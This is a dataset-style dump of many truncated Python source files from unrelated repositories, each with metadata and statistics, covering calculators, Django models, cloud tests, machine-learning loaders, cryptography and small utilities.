dabl03/python-advanced-calculator
d4d025b1bdea4d9be1cc47dfabc917f579fed3f8
[ "Apache-2.0" ]
null
null
null
Calculator.py
dabl03/python-advanced-calculator
d4d025b1bdea4d9be1cc47dfabc917f579fed3f8
[ "Apache-2.0" ]
null
null
null
Calculator.py
dabl03/python-advanced-calculator
d4d025b1bdea4d9be1cc47dfabc917f579fed3f8
[ "Apache-2.0" ]
null
null
null
signos_admitidos=['+','-','*','/']; def search(list_char,str_,start=0): """ --------------------------------------------------------- | Busca un char ingresado por list_char en una | | cadena pasada por str_, Cuando lo consige | | crea una lista con la ubicacion de todas | | las coincidencia y lo g...
38.592857
223
0.492782
1,324
10,806
3.905589
0.239426
0.024753
0.01083
0.014891
0.13247
0.106362
0.092052
0.067298
0.060723
0.049507
0
0.026831
0.323987
10,806
279
224
38.731183
0.680903
0.402832
0
0.215569
0
0
0.100484
0
0
0
0
0
0
1
0.035928
false
0.011976
0.005988
0
0.149701
0.023952
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3d5a67f41392b8dc06d5a7cc08dc3a0e34cb81f
3,006
py
Python
apps/organizations/models.py
WeiSanJin/MxOnline
e210030a00d7837c135504be618ac3744f8e4356
[ "MIT" ]
1
2021-04-05T14:43:25.000Z
2021-04-05T14:43:25.000Z
apps/organizations/models.py
WeiSanJin/MxOnline
e210030a00d7837c135504be618ac3744f8e4356
[ "MIT" ]
null
null
null
apps/organizations/models.py
WeiSanJin/MxOnline
e210030a00d7837c135504be618ac3744f8e4356
[ "MIT" ]
null
null
null
from django.db import models from apps.users.models import BaseModel from DjangoUeditor.models import UEditorField # 城市 class City(BaseModel): name = models.CharField(max_length=20, verbose_name="城市") desc = models.CharField(max_length=200, verbose_name="描述") class Meta: verbose_name = "城市" ...
36.216867
105
0.683965
380
3,006
5.197368
0.313158
0.189367
0.054684
0.072911
0.312911
0.246582
0.195443
0.078987
0.078987
0.078987
0
0.018025
0.187957
3,006
82
106
36.658537
0.791069
0.039255
0
0.218182
0
0
0.06362
0.015817
0
0
0
0
0
1
0.109091
false
0
0.054545
0.090909
0.836364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
c3d5b63b4aec63e711dc906333d611d89cd9fa71
1,360
py
Python
app/data.py
leecrowe/bandersnatch-app
575394a7b7c47b8525d182edd4d7cf22de985d18
[ "MIT" ]
null
null
null
app/data.py
leecrowe/bandersnatch-app
575394a7b7c47b8525d182edd4d7cf22de985d18
[ "MIT" ]
null
null
null
app/data.py
leecrowe/bandersnatch-app
575394a7b7c47b8525d182edd4d7cf22de985d18
[ "MIT" ]
null
null
null
from os import getenv from typing import Iterator, Dict, Iterable from pymongo import MongoClient import pandas as pd from dotenv import load_dotenv class Data: """ MongoDB Data Model """ load_dotenv() db_url = getenv("DB_URL") db_name = getenv("DB_NAME") db_table = getenv("DB_TABLE") def co...
28.333333
68
0.668382
193
1,360
4.487047
0.243523
0.073903
0.055427
0.073903
0.057737
0
0
0
0
0
0
0.001842
0.201471
1,360
47
69
28.93617
0.79558
0.013235
0
0
0
0
0.029985
0
0
0
0
0
0
1
0.34375
false
0
0.15625
0.1875
0.8125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
c3d5d0386568e2d8e4d24b1ddf0520a183df8e73
1,935
py
Python
python/static-site/tests/test_stacks.py
jeffmaley/aws-cdk-examples
86f10b0e1c21e5d6b943a02426d06e7a0f085681
[ "Apache-2.0" ]
2,941
2019-02-08T15:29:36.000Z
2022-03-31T23:57:42.000Z
python/static-site/tests/test_stacks.py
jeffmaley/aws-cdk-examples
86f10b0e1c21e5d6b943a02426d06e7a0f085681
[ "Apache-2.0" ]
558
2019-02-14T23:32:02.000Z
2022-03-30T00:35:11.000Z
python/static-site/tests/test_stacks.py
jeffmaley/aws-cdk-examples
86f10b0e1c21e5d6b943a02426d06e7a0f085681
[ "Apache-2.0" ]
1,409
2019-02-12T19:13:04.000Z
2022-03-31T18:46:21.000Z
import pytest from aws_cdk import core as cdk from site_stack import StaticSiteStack @pytest.fixture(scope="session") def synth(): app = cdk.App( context={ "namespace": "static-site", "domain_name": "example.com", "domain_certificate_arn": "arn:aws:acm:us-east-1:12345...
31.209677
91
0.626357
238
1,935
4.798319
0.315126
0.049037
0.070053
0.091068
0.30035
0.157618
0.105079
0
0
0
0
0.02439
0.237209
1,935
61
92
31.721311
0.749322
0
0
0.058824
0
0
0.350388
0.154005
0
0
0
0
0.039216
1
0.078431
false
0
0.058824
0.019608
0.176471
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3d61a440169344b03bc906eb1309f1deef4bcc6
3,011
py
Python
hive-watcher/simple-watcher.py
Podcastindex-org/podping.cloud
58f92aa82dfbe232a411aea9609527904d1259cb
[ "MIT" ]
24
2021-04-26T23:45:45.000Z
2022-03-14T02:00:27.000Z
hive-watcher/simple-watcher.py
Podcastindex-org/podping.cloud
58f92aa82dfbe232a411aea9609527904d1259cb
[ "MIT" ]
23
2021-04-26T22:23:05.000Z
2022-02-22T13:19:32.000Z
hive-watcher/simple-watcher.py
brianoflondon/podping.cloud
df7e5b37fb4881d1fa618accefa2b89e69dfb8fc
[ "MIT" ]
7
2021-05-06T09:17:15.000Z
2021-11-05T18:12:04.000Z
# simple-watcher.py # # Simple version of Hive Podping watcher - no options, just runs # The only external library needed is "beem" - pip install beem # Beem is the official Hive accessing library for Python. # # Version 1.1 from datetime import datetime, timedelta from typing import Set import json import beem from ...
33.455556
97
0.678512
413
3,011
4.811138
0.42615
0.020131
0.018118
0.014092
0.031203
0.031203
0
0
0
0
0
0.003918
0.237131
3,011
89
98
33.831461
0.861123
0.401528
0
0.045455
0
0
0.056883
0.012514
0
0
0
0.011236
0
1
0.090909
false
0
0.136364
0
0.318182
0.068182
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
c3d84d6d30fcdcb05b353fb7fabedea3353d5848
9,935
py
Python
data_openml.py
Sergiodiaz53/saint
4d0294ddae5dc79035c252e88fd176af5e417a8e
[ "Apache-2.0" ]
null
null
null
data_openml.py
Sergiodiaz53/saint
4d0294ddae5dc79035c252e88fd176af5e417a8e
[ "Apache-2.0" ]
null
null
null
data_openml.py
Sergiodiaz53/saint
4d0294ddae5dc79035c252e88fd176af5e417a8e
[ "Apache-2.0" ]
null
null
null
import openml import numpy as np from sklearn.preprocessing import LabelEncoder import pandas as pd from torch.utils.data import Dataset def simple_lapsed_time(text, lapsed): hours, rem = divmod(lapsed, 3600) minutes, seconds = divmod(rem, 60) print(text+": {:0>2}:{:0>2}:{:05.2f}".format(int(hours),int(mi...
38.657588
162
0.644389
1,525
9,935
4.015738
0.146885
0.017636
0.016329
0.017962
0.658067
0.641901
0.626061
0.608099
0.597322
0.597322
0
0.036959
0.188425
9,935
256
163
38.808594
0.72256
0.054152
0
0.519337
0
0
0.070157
0.018659
0
0
0
0
0
1
0.055249
false
0
0.027624
0.016575
0.132597
0.01105
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3d8adaeda7653cb1a90e7bcead87cfd601b12da
853
py
Python
src/Time.py
oskart20/PythonServer-lifty
3e30ac4e8d2415681626646ccdc20cac863e310c
[ "MIT" ]
1
2019-04-14T14:33:00.000Z
2019-04-14T14:33:00.000Z
src/Time.py
oskart20/PythonServer-lifty
3e30ac4e8d2415681626646ccdc20cac863e310c
[ "MIT" ]
null
null
null
src/Time.py
oskart20/PythonServer-lifty
3e30ac4e8d2415681626646ccdc20cac863e310c
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import datetime import logging logger_6 = logging.getLogger('PythonServer.Time') def time_for_timedelta(time): new_time = (datetime.datetime.min + time).time() return new_time def datetime_for_time(time): new_time = (datetime.datetime.combine(datetime.date(1, 1, 1),...
22.447368
69
0.720985
131
853
4.519084
0.343511
0.08277
0.070946
0.081081
0.158784
0
0
0
0
0
0
0.006812
0.139508
853
38
70
22.447368
0.799728
0.103165
0
0.136364
0
0
0.032938
0
0
0
0
0
0
1
0.272727
false
0
0.090909
0.045455
0.681818
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
c3d9223f50cffa1ff241a1b0548ffbf81ee7c5f8
6,086
py
Python
ROS_ws/src/lab2/traj_planning_ros/src/iLQR/ellipsoid/dyn_sys.py
kenarvyas/ECE346
f0229a9f3e03ca06e2d8fa74f9208fea5b2c29c7
[ "MIT" ]
4
2022-02-04T03:08:53.000Z
2022-03-24T13:17:46.000Z
ROS_ws/src/lab2/traj_planning_ros/src/iLQR/ellipsoid/dyn_sys.py
kenarvyas/ECE346
f0229a9f3e03ca06e2d8fa74f9208fea5b2c29c7
[ "MIT" ]
null
null
null
ROS_ws/src/lab2/traj_planning_ros/src/iLQR/ellipsoid/dyn_sys.py
kenarvyas/ECE346
f0229a9f3e03ca06e2d8fa74f9208fea5b2c29c7
[ "MIT" ]
12
2022-01-28T05:07:56.000Z
2022-03-30T02:43:05.000Z
import numpy as np class DynSys(): """ The dynamical system class. Author: Haimin Hu (haiminh@princeton.edu) Reference: Ellipsoidal Toolbox (MATLAB) by Dr. Alex Kurzhanskiy. Supports: DTLTI: Discrete-time linear time-invariant system. x[k+1] = A x[k] + B u[k] + c + G d[k] DTLTV:...
32.545455
79
0.548143
870
6,086
3.812644
0.155172
0.081399
0.124812
0.157371
0.584564
0.520953
0.392222
0.301779
0.233946
0.144106
0
0.006102
0.326816
6,086
186
80
32.72043
0.803515
0.294611
0
0.368852
0
0
0.284953
0
0
0
0
0.005376
0
1
0.040984
false
0
0.008197
0
0.106557
0.098361
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3d93f125dc752ce5954d77d93adc145bfc38790
1,109
py
Python
drfpasswordless/urls.py
saazengineering/django-rest-framework-passwordless
2e8064f3576ab7cabf920fac4951c5ac9245c64a
[ "MIT" ]
null
null
null
drfpasswordless/urls.py
saazengineering/django-rest-framework-passwordless
2e8064f3576ab7cabf920fac4951c5ac9245c64a
[ "MIT" ]
null
null
null
drfpasswordless/urls.py
saazengineering/django-rest-framework-passwordless
2e8064f3576ab7cabf920fac4951c5ac9245c64a
[ "MIT" ]
null
null
null
from django.urls import path from drfpasswordless.views import ( ObtainEmailCallbackToken, ObtainMobileCallbackToken, ObtainAuthTokenFromCallbackToken, ObtainAuthTokenFromRefreshToken, VerifyAliasFromCallbackToken, ObtainEmailVerificationCallbackToken, ObtainMobileVerificationCallback...
50.409091
113
0.766456
102
1,109
8.196078
0.421569
0.050239
0.083732
0.066986
0
0
0
0
0
0
0
0
0.12083
1,109
21
114
52.809524
0.857436
0.360685
0
0
0
0
0.136364
0
0
0
0
0
0
1
0
false
0.0625
0.125
0
0.125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
c3dbca87e6402740e668135efd6e80f605bace9f
3,249
py
Python
mlinversion/mlinversion/bootstraptests.py
uofuseismo/YPMLRecalibration
18a4231eb12775cf808d83d38a11cc02664b3e35
[ "MIT" ]
null
null
null
mlinversion/mlinversion/bootstraptests.py
uofuseismo/YPMLRecalibration
18a4231eb12775cf808d83d38a11cc02664b3e35
[ "MIT" ]
null
null
null
mlinversion/mlinversion/bootstraptests.py
uofuseismo/YPMLRecalibration
18a4231eb12775cf808d83d38a11cc02664b3e35
[ "MIT" ]
2
2021-09-02T17:19:22.000Z
2021-12-23T00:14:51.000Z
""" Regularisation Tests This file contains a set of functions that were used to test and optimise the effects of regularisation. This file can also be imported as a module and contains the following functions: * func() Blurb about func. """ import os import numpy as np from copy import deepcopy from ty...
28.252174
100
0.564174
379
3,249
4.720317
0.358839
0.019564
0.049189
0.038569
0.178871
0.145333
0.145333
0.102851
0.083846
0.083846
0
0.006831
0.3241
3,249
114
101
28.5
0.807832
0.202524
0
0.19697
0
0
0.044269
0
0
0
0
0.035088
0
1
0.045455
false
0.015152
0.136364
0
0.242424
0.015152
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
c3dc65c6f95112e170d27e15fb7aca74b4ab07cd
11,253
py
Python
lib/fcn/test_common.py
LeiYangJustin/UnseenObjectClustering
177d67c47bfd973d46b816e6b68bf20660f4b71d
[ "BSD-Source-Code" ]
101
2020-12-13T22:20:12.000Z
2022-03-22T07:58:58.000Z
lib/fcn/test_common.py
LeiYangJustin/UnseenObjectClustering
177d67c47bfd973d46b816e6b68bf20660f4b71d
[ "BSD-Source-Code" ]
6
2021-01-13T13:33:04.000Z
2022-03-08T02:13:27.000Z
lib/fcn/test_common.py
LeiYangJustin/UnseenObjectClustering
177d67c47bfd973d46b816e6b68bf20660f4b71d
[ "BSD-Source-Code" ]
19
2021-01-21T18:19:42.000Z
2022-03-07T14:17:21.000Z
# Copyright (c) 2020 NVIDIA Corporation. All rights reserved. # This work is licensed under the NVIDIA Source Code License - Non-commercial. Full # text can be found in LICENSE.md import torch import time import sys, os import numpy as np import cv2 import matplotlib.pyplot as plt from fcn.config import cfg from utils...
31.085635
98
0.50902
1,473
11,253
3.758995
0.130346
0.0419
0.035759
0.05689
0.707062
0.702547
0.660827
0.646018
0.646018
0.631389
0
0.022877
0.366836
11,253
361
99
31.171745
0.754246
0.055185
0
0.718412
0
0
0.029385
0.004368
0
0
0
0
0
1
0.01444
false
0
0.028881
0
0.046931
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
c3dd774e3fe02dfa112c698582886e4595fb2a9c
1,667
py
Python
phyluce/mafft.py
faircloth-lab/phyluce
ae6801a7e749be2fa38513db9846046241d0fd7a
[ "BSD-3-Clause" ]
63
2015-03-16T15:10:17.000Z
2022-02-16T12:36:23.000Z
phyluce/mafft.py
faircloth-lab/phyluce
ae6801a7e749be2fa38513db9846046241d0fd7a
[ "BSD-3-Clause" ]
253
2015-01-26T13:03:23.000Z
2022-03-15T19:03:05.000Z
phyluce/mafft.py
faircloth-lab/phyluce
ae6801a7e749be2fa38513db9846046241d0fd7a
[ "BSD-3-Clause" ]
45
2015-01-26T13:09:50.000Z
2021-05-24T04:20:30.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """ (c) 2015 Brant Faircloth || http://faircloth-lab.org/ All rights reserved. This code is distributed under a 3-clause BSD license. Please see LICENSE.txt for more information. Created on 0 March 2012 09:03 PST (-0800) """ import os import tempfile import subprocess ...
26.046875
79
0.628674
207
1,667
4.913043
0.628019
0.026549
0.021632
0
0
0
0
0
0
0
0
0.018776
0.265147
1,667
63
80
26.460317
0.811429
0.362927
0
0
0
0
0.081633
0
0
0
0
0
0
1
0.066667
false
0.033333
0.2
0
0.3
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3de5aec1e9569212d47284ebab8aa408f948043
833
py
Python
main.py
dunningjack/parrot
1b3cf8b17a8d7880e1a6b2864366115ca8a1759f
[ "MIT" ]
null
null
null
main.py
dunningjack/parrot
1b3cf8b17a8d7880e1a6b2864366115ca8a1759f
[ "MIT" ]
null
null
null
main.py
dunningjack/parrot
1b3cf8b17a8d7880e1a6b2864366115ca8a1759f
[ "MIT" ]
null
null
null
import os from dotenv import load_dotenv from discord.ext import commands load_dotenv() TOKEN = os.getenv('DISCORD_TOKEN') GUILD = os.getenv('DISCORD_GUILD') client = commands.Bot(command_prefix='!p') @client.event async def on_ready(): print("We have logged in as {0.user}".format(client)) @client.command() a...
21.358974
57
0.669868
108
833
5.083333
0.462963
0.043716
0.054645
0.069217
0
0
0
0
0
0
0
0.007576
0.207683
833
38
58
21.921053
0.824242
0
0
0.076923
0
0
0.07443
0
0
0
0
0
0
1
0
false
0
0.115385
0
0.115385
0.038462
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3e08f45a7325555562cd081380f71ba2b964a18
1,856
py
Python
watcher/decision_engine/model/element/volume.py
ajaytikoo/watcher
6dbac1f6ae7f3e10dfdcef5721fa4af7af54e159
[ "Apache-2.0" ]
64
2015-10-18T02:57:24.000Z
2022-01-13T11:27:51.000Z
watcher/decision_engine/model/element/volume.py
ajaytikoo/watcher
6dbac1f6ae7f3e10dfdcef5721fa4af7af54e159
[ "Apache-2.0" ]
null
null
null
watcher/decision_engine/model/element/volume.py
ajaytikoo/watcher
6dbac1f6ae7f3e10dfdcef5721fa4af7af54e159
[ "Apache-2.0" ]
35
2015-12-25T13:53:21.000Z
2021-07-19T15:50:16.000Z
# -*- encoding: utf-8 -*- # Copyright 2017 NEC Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
32.561404
75
0.716595
217
1,856
6.059908
0.608295
0.045627
0.019772
0.024335
0
0
0
0
0
0
0
0.006579
0.181034
1,856
56
76
33.142857
0.858553
0.346444
0
0
0
0
0.157322
0
0
0
0
0
0
1
0.032258
false
0
0.129032
0
0.612903
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
c3e0f5d4f905072bdceac9216392204ee8ebc83c
7,885
py
Python
elliptic_curve.py
eriktaubeneck/ellipic-curve
1014c8dfad7917aaacd6cdf1811f0af3513d3e4c
[ "MIT" ]
null
null
null
elliptic_curve.py
eriktaubeneck/ellipic-curve
1014c8dfad7917aaacd6cdf1811f0af3513d3e4c
[ "MIT" ]
null
null
null
elliptic_curve.py
eriktaubeneck/ellipic-curve
1014c8dfad7917aaacd6cdf1811f0af3513d3e4c
[ "MIT" ]
null
null
null
from dataclasses import dataclass, field from typing import Union, Tuple import sys import secrets import hashlib import math import warnings import base64 from algebra import ZModField, ZModElement from cryptography.fernet import Fernet from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primi...
32.315574
98
0.555485
1,033
7,885
4.375605
0.21394
0.009735
0.011947
0.012389
0.212389
0.160398
0.091372
0.089823
0.060177
0.047788
0
0.006461
0.312999
7,885
243
99
32.44856
0.779029
0.012809
0
0.131068
0
0
0.158037
0.006955
0
0
0
0
0
1
0.106796
false
0
0.063107
0.029126
0.354369
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3e0f6e08ad291980fc7266ea3e2dbebcd6fc1e2
2,045
py
Python
DuplicateFileDetector/Menu.py
aksheus/Duplicate-File-Detector
2c096635b78e9617a65027a725952a8fdbb5a0f7
[ "MIT" ]
null
null
null
DuplicateFileDetector/Menu.py
aksheus/Duplicate-File-Detector
2c096635b78e9617a65027a725952a8fdbb5a0f7
[ "MIT" ]
null
null
null
DuplicateFileDetector/Menu.py
aksheus/Duplicate-File-Detector
2c096635b78e9617a65027a725952a8fdbb5a0f7
[ "MIT" ]
null
null
null
from tkinter import filedialog,messagebox from builtins import str import tkinter import os class Menu: def __init__(self,Title,Resolution,): self.Root=tkinter.Tk() self.Root.title(Title) self.Root.geometry(Resolution) self.MenuTitle = tkinter.Label(self.Root, text="Find Duplicate ...
38.584906
117
0.654279
237
2,045
5.628692
0.396624
0.071964
0.033733
0.014993
0.076462
0.076462
0.035982
0
0
0
0
0.01388
0.224939
2,045
52
118
39.326923
0.82776
0
0
0.130435
0
0
0.1091
0
0
0
0
0
0.043478
1
0.086957
false
0
0.086957
0
0.26087
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3e1a2988c6085b4d424ff4fea8df316b6870432
2,916
py
Python
service/plugins/sqlite/randQuery.py
liorperry/fuzz
2d49b2ea62b59f2790797a93be6a68aae8a150f7
[ "MIT" ]
1
2020-04-23T08:11:40.000Z
2020-04-23T08:11:40.000Z
service/plugins/sqlite/randQuery.py
liorperry/fuzz
2d49b2ea62b59f2790797a93be6a68aae8a150f7
[ "MIT" ]
null
null
null
service/plugins/sqlite/randQuery.py
liorperry/fuzz
2d49b2ea62b59f2790797a93be6a68aae8a150f7
[ "MIT" ]
null
null
null
# File: randQuery.py import random import string # TODO: # sqlite FTS expressions should be extended with count(*), 'order by', 'group by' etc. class Randomize: def __init__(self): self.map = {} def getRandNum(self, minRange, maxRange): return random.randint(minRange, maxRange) def getRandString(self): s...
29.16
120
0.6869
353
2,916
5.634561
0.308782
0.042232
0.064354
0.027149
0.05631
0.034188
0
0
0
0
0
0.009996
0.176612
2,916
99
121
29.454545
0.818409
0.108711
0
0.065789
0
0
0.023938
0
0
0
0
0.010101
0
1
0.157895
false
0
0.026316
0.013158
0.434211
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
c3e23393620a800bd22e9d3452a90377c68df089
216
py
Python
ex29.py
eng-lenin/Python
6038f052b8343878760ed133dd43869927e39b3d
[ "MIT" ]
1
2021-01-30T14:50:55.000Z
2021-01-30T14:50:55.000Z
ex29.py
eng-lenin/Python
6038f052b8343878760ed133dd43869927e39b3d
[ "MIT" ]
null
null
null
ex29.py
eng-lenin/Python
6038f052b8343878760ed133dd43869927e39b3d
[ "MIT" ]
null
null
null
v=float(input('A qual velocidade (km/h) está o carro? ')) if v<= 80: print('Abaixo do limite, obrigado! ') else: print('Você está acima do limite, você deve pagar uma multa de R$ {:.2f}!' .format((v-80)*7))
30.857143
97
0.634259
38
216
3.605263
0.789474
0.043796
0
0
0
0
0
0
0
0
0
0.034091
0.185185
216
6
98
36
0.744318
0
0
0
0
0
0.618605
0
0
0
0
0
0
1
0
false
0
0
0
0
0.4
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c3e2825a16a71ef4f94da2a5f0430d294e223568
974
py
Python
b_tree/b_tree_2/balanced_b_tree.py
rjsnh1522/geeks-4-geeks-python
9bea0ce4f3fae9b5f9e5952fb5b4b3a8c6186cf4
[ "MIT" ]
null
null
null
b_tree/b_tree_2/balanced_b_tree.py
rjsnh1522/geeks-4-geeks-python
9bea0ce4f3fae9b5f9e5952fb5b4b3a8c6186cf4
[ "MIT" ]
5
2021-03-10T11:49:39.000Z
2022-02-27T01:35:59.000Z
b_tree/b_tree_2/balanced_b_tree.py
rjsnh1522/geeks-4-geeks-python
9bea0ce4f3fae9b5f9e5952fb5b4b3a8c6186cf4
[ "MIT" ]
null
null
null
# Definition for a binary tree node class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution: # @param A : root node of tree # @return an integer def isBalanced(self, A): is_bal = self.height(A) return 1 if is_bal[0]...
19.48
43
0.540041
150
974
3.466667
0.36
0.057692
0.063462
0.023077
0.113462
0
0
0
0
0
0
0.060842
0.341889
974
49
44
19.877551
0.75039
0.084189
0
0.108108
0
0
0
0
0
0
0
0
0
1
0.081081
false
0
0
0
0.27027
0.027027
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3e5419e60dd7ed8ba59e0eb9fb45ebe1365558f
472
py
Python
datasets/tinyimagenet.py
SonyPony/shrinkbench
efe078569d6c91add40f14fa673c1fa7c9cde624
[ "MIT" ]
null
null
null
datasets/tinyimagenet.py
SonyPony/shrinkbench
efe078569d6c91add40f14fa673c1fa7c9cde624
[ "MIT" ]
null
null
null
datasets/tinyimagenet.py
SonyPony/shrinkbench
efe078569d6c91add40f14fa673c1fa7c9cde624
[ "MIT" ]
null
null
null
# Authors: Son Hai Nguyen, Miroslav Karpíšek # Logins: xnguye16, xkarpi05 # Project: Neural network pruning # Course: Convolutional Neural Networks # Year: 2021 import os import torchvision.datasets as datasets class TinyImageNet(datasets.ImageFolder): IMG_SIZE = 56 def __init__(self, root: str, train=True...
22.47619
63
0.661017
55
472
5.509091
0.781818
0
0
0
0
0
0
0
0
0
0
0.027933
0.241525
472
20
64
23.6
0.818436
0.317797
0
0
0
0
0.028481
0
0
0
0
0
0
1
0.1
false
0
0.2
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3e61bd8ca1f42e3b9a657af37fc1b37d341004b
6,937
py
Python
tuun/probo/models/gp_simple.py
petuum/tuun
8eec472dbf0e5e695449b0fa2d98985469fd5b30
[ "Apache-2.0" ]
33
2020-08-30T16:22:35.000Z
2022-02-26T13:48:32.000Z
tuun/probo/models/gp_simple.py
petuum/tuun
8eec472dbf0e5e695449b0fa2d98985469fd5b30
[ "Apache-2.0" ]
2
2021-01-18T19:46:43.000Z
2021-03-24T09:59:14.000Z
tuun/probo/models/gp_simple.py
petuum/tuun
8eec472dbf0e5e695449b0fa2d98985469fd5b30
[ "Apache-2.0" ]
2
2020-08-25T17:02:15.000Z
2021-04-21T16:40:44.000Z
""" Classes for simple GP models without external PPL backend. """ from argparse import Namespace import copy import numpy as np from .gp.gp_utils import kern_exp_quad, sample_mvn, gp_post from ..util.data_transform import DataTransformer from ..util.misc_util import dict_to_namespace class SimpleGp: """ Si...
30.831111
83
0.566095
849
6,937
4.467609
0.182568
0.044819
0.023201
0.030055
0.389402
0.348537
0.310572
0.274189
0.274189
0.274189
0
0.004552
0.335015
6,937
224
84
30.96875
0.817689
0.357071
0
0.270833
0
0
0.017753
0
0
0
0
0.008929
0
1
0.135417
false
0
0.0625
0.010417
0.28125
0.03125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3e63aa7608692e9e7131de69634555c66e2658b
123
py
Python
mantraml/templates/projects/default/settings.py
cclauss/mantra
19e2f72960da8314f11768d9acfe7836629b817c
[ "Apache-2.0" ]
330
2018-09-04T19:07:51.000Z
2021-09-14T11:21:05.000Z
mantraml/templates/projects/default/settings.py
cclauss/mantra
19e2f72960da8314f11768d9acfe7836629b817c
[ "Apache-2.0" ]
13
2018-09-06T06:08:16.000Z
2018-12-01T17:04:38.000Z
mantraml/templates/projects/default/settings.py
cclauss/mantra
19e2f72960da8314f11768d9acfe7836629b817c
[ "Apache-2.0" ]
20
2018-09-06T11:56:07.000Z
2021-12-03T19:48:21.000Z
# AWS SETTINGS AWS_AMI_IMAGE_ID = 'ami-6356761c' AWS_INSTANCE_TYPE = 'p2.xlarge' S3_BUCKET_NAME = 'default-s3-bucket-name'
30.75
41
0.780488
20
123
4.45
0.7
0.179775
0.269663
0
0
0
0
0
0
0
0
0.09009
0.097561
123
4
41
30.75
0.711712
0.097561
0
0
0
0
0.390909
0.2
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
c3e7b29b7add9b32e1e75aded94807db6fe3e477
2,882
py
Python
alipay.py
nju161250102/NJUSystem_Server
8b72fde8701d55e62ce8ed4bcb299ec8f0ab32fe
[ "MIT" ]
1
2018-07-31T13:31:52.000Z
2018-07-31T13:31:52.000Z
alipay.py
nju161250102/NJUSystem_Server
8b72fde8701d55e62ce8ed4bcb299ec8f0ab32fe
[ "MIT" ]
null
null
null
alipay.py
nju161250102/NJUSystem_Server
8b72fde8701d55e62ce8ed4bcb299ec8f0ab32fe
[ "MIT" ]
null
null
null
# coding=utf-8 import os import sqlite3 import pandas as pd from model import AliPay def classify(item: AliPay): if item.money_state == "" or item.money_state == "冻结": return "无效交易", "" if "余额宝-" in item.name and "-收益发放" in item.name: return "理财", "余额宝收益" if "蚂蚁财富-" in item.target: ...
29.408163
87
0.552047
376
2,882
4.154255
0.327128
0.112676
0.076825
0.040973
0.137004
0.067862
0.040973
0.040973
0.040973
0
0
0.001525
0.317488
2,882
97
88
29.71134
0.792578
0.009368
0
0.070588
0
0
0.343278
0
0
0
0
0
0
1
0.023529
false
0
0.047059
0
0.305882
0.011765
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
